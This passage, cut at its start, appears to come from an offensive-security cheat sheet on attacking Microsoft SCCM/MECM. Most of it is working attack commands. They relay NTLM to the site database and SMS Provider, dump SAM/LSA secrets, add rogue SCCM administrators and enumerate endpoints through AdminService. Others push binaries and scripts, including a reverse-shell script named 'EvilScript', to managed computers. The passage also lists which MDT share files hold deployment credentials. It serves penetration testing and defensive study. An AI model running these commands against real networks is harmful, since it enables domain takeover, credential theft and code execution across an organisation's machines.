(,'SMS0001R','SMS00001','1'); INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (,'SMS0001R','SMS00004','1'); Linux # Print the stacked MSSQL queries for the user SID to escalate python3 sccmhunter.py mssql -u user1 -p password -d domain.local -dc-ip -tu user2 -sc -stacked # Run ntlmrelayx.py with the stacked query to execute ntlmrelayx.py -t "mssql://siteDatabase.domain.local" -smb2support -q # Or targeting SMB ntlmrelayx.py -t "smb://siteDatabase.domain.local" -smb2support -socks Post exploitation via SCCM can now be performed on the network. Relay to the SMS Provider server If the HTTP API is accessible on the SMS Provider server, setup ntlmrelayx with this PR to add user1 as a new SCCM admin: ntlmrelayx.py -t https://smsprovider.domain.local/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "DOMAIN\user1" --displayname "DOMAIN\user1" --objectsid And coerce the primary site server via client push, PetitPotam, PrinterBug ou whatever. Relay from a passive to the active site server When high availability in required, it is possible to find a passive site server that will be used only if the active site server stop working. Its machine account must be a member of the local Administrators group on the active site server. Setup a NTLM relay pointing to the active server and coerce an authentication from the passive server. ntlmrelayx.py -t activeServer.domain.local -smb2support -socks Then, through the proxy socks session, dump the SAM and LSA with secretsdump.py. The active site server must be a member of the SMS Provider administrators (it is member of the SMS Admins group), its credentials can be used to add a new controlled user to the Full Admin SCCM group. python3 sccmhunter.py admin -u activeServer$ -p : -ip () (C:\) >> add_admin controlledUser () (C:\) >> show_admins Post exploitation CMPivot Service Abuse The CMPivot service, presents on the MP server, permits to enumerate all the resources (installed softwares, local administrators, hardware specification, and so on) of a computer, or a computer collection, and perform administrative tasks on them. It uses the HTTP REST API named AdminService provided by the SMS Provider server. With SCCM administrative rights, it is possible to directly interact with the AdminService API, without using CMPivot, for post SCCM exploitation enumeration. Windows #Retrieve the ID of the ressource to enumerate .\SharpSCCM.exe get resource-id -d "COMPUTER" #Enumerate the local administrators .\SharpSCCM.exe invoke admin-service -r -q "Administrators" -j #Enumerate the installed softwares .\SharpSCCM.exe invoke admin-service -r -q "InstalledSoftware" -j Linux # Authenticate to the AdminService API python3 sccmhunter.py admin -u user1 -p password -ip # Retrieve information about a target device and interact with it () C:\ >> get_device target () (C:\) >> interact # Then, enumerate resources with built-in requests () (C:\) >> ls () (C:\) >> administrators () (C:\) >> help ... Applications and scripts deployment Windows With sufficient rights on the central SCCM server (rights on WMI), it is possible to deploy applications or scripts on the AD computers (SYSTEM on the server basically, to have rights on WMI) with SharpSCCM or PowerSCCM: With SharpSCCM #Retrieve computers linked to the SCCM server ./SharpSCCM.exe get devices -w "Active=1 and Client=1" #Execute a binary on a target device ./SharpSCCM.exe exec -d -p bin.exe #Execute a PS command on a target device ./SharpSCCM.exe exec -d -p "powershell " #Coerce a NTLM authentication from a domain user #The user is the primary user of the device #With no user specified, the NTLM authentication will come from the logged on user #Add --run-as-system to obtain the computer account authentication instead ./SharpSCCM.exe exec -u DOMAIN\user1 -r With PowerSCCM #Create SCCM Session with WMI Find-SccmSiteCode -ComputerName New-SccmSession -ComputerName -SiteCode -ConnectionType WMI #Retrieve computers linked to the SCCM server Get-SccmSession | Get-SccmComputer #Create a computer collection Get-SccmSession | New-SccmCollection -CollectionName "col" -CollectionType "Device" #Add computer to the collection Get-SccmSession | Add-SccmDeviceToCollection -ComputerNameToAdd "" -CollectionName "col" #Create an app to deploy Get-SccmSession | New-SccmApplication -ApplicationName "" -PowerShellB64 "" #Create an app deployment with the app and the collection previously created Get-SccmSession | New-SccmApplicationDeployment -ApplicationName "" -AssignmentName "assig" -CollectionName "col" #Force the machine in the collection to check the app update (and force the install) Get-SccmSession | Invoke-SCCMDeviceCheckin -CollectionName "col" If application deployement doesn't work, it is worth to test CMScript deployement (deploy a script instead of an app). PowerSCCM also permits to do it with this PR : New-CMScriptDeployement -CMDrive '' -ServerFQDN '' -TargetDevice '' -Path '.\reverse.ps1' -ScriptName 'EvilScript' Linux With sufficient rights over the AdminService API it is possible to create an approval administrator and deploy scripts. # Open a session over the AdminService API python3 sccmhunter.py admin -u user1 -p password -ip # Promote as admin a controlled account () C:\ >> add_admin user2 # Reauthenticate and specify the new admin as an approval admin python3 sccmhunter.py admin -u user1 -p password -ip -au user2 -ap password2 # Select a target via it's SCCM ID and deploy a PowerShell script on it () C:\ >> get_device TARGET () C:\ >> interact () (C:\) >> script /home/user1/add_local_admin.ps1 Credentials extraction from MDT Shares Credentials extraction from MDT Shares is presented in great details here. The server hosting the MDT shares should run the WDS service. This one can be identified in the LDAP directory with this (available on Linux and Windows): ./WDSFinder --username user1 --password password --ip DC_IP Additionally, tThe MDT Shares presence on the network can be identified with the following registry key on any enrolled computer : HKLM\Software\Microsoft\Deployment 4\ (it will not indicate where the share lies, but only that a MDT Share is present). If the MDT Share allows read access with owned users, it can provide many sensitive credentials, used during application and system deployments. Files where credentials can be found : Bootstrap.ini - Located in DeploymentShare\Control\Bootstrap.ini CustomSettings.ini - Located in DeploymentShare\Control\CustomSettings.ini Name What is it for? DomainAdmin Account used to join the computer to the domain DomainAdminPassword Password used to join the computer to the domain UserID Account used for accessing network resources UserPassword Password used for accessing network resources AdminPassword The local administrator account on the computer ADDSUserName (never seen this used) Account used when promoting to DC during deployment ADDSPassword (never seen this used) Password used when promoting to DC during deployment Password Password to use for promoting member server to a domain controller SafeModeAdminPassword (never seen this used) Used when deploying DCs, it is the AD restore mode password TPMOwnerPassword The TPM password if not set already DBID Account used to connect to SQL server during deployment DBPwd Password used to connect to SQL server during deployment OSDBitLockerRecoveryPassword BitLocker recovery password TaskSequences (with possible credentials) are stored in DeploymentShare\Control\\ts.xml The unattend.xml file can be in DeploymentShare\Control\\unattend.xml Custom scripts and applications are generally (but not mandatory) in DeploymentShare\Scripts and DeploymentShare\Applications References Misconfiguration Manager SCCM / MECM - The Hacker Recipes Active Directory Spotlight: Attacking The Microsoft Configuration Manager (SCCM/MECM) - C. Sandker Push Comes To Shove: exploring the attack surface of SCCM Client Push Accounts - Trimarc Offensive Operations with PowerSCCM - enigma0x3 Exploring SCCM by Unobfuscating Network Access Accounts - Adam Chester SpecterOps SCCMSecrets.py: exploiting SCCM policies distribution for credentials harvesting, initial access and lateral movement - Synacktiv TrustedSec's blog NetExec wiki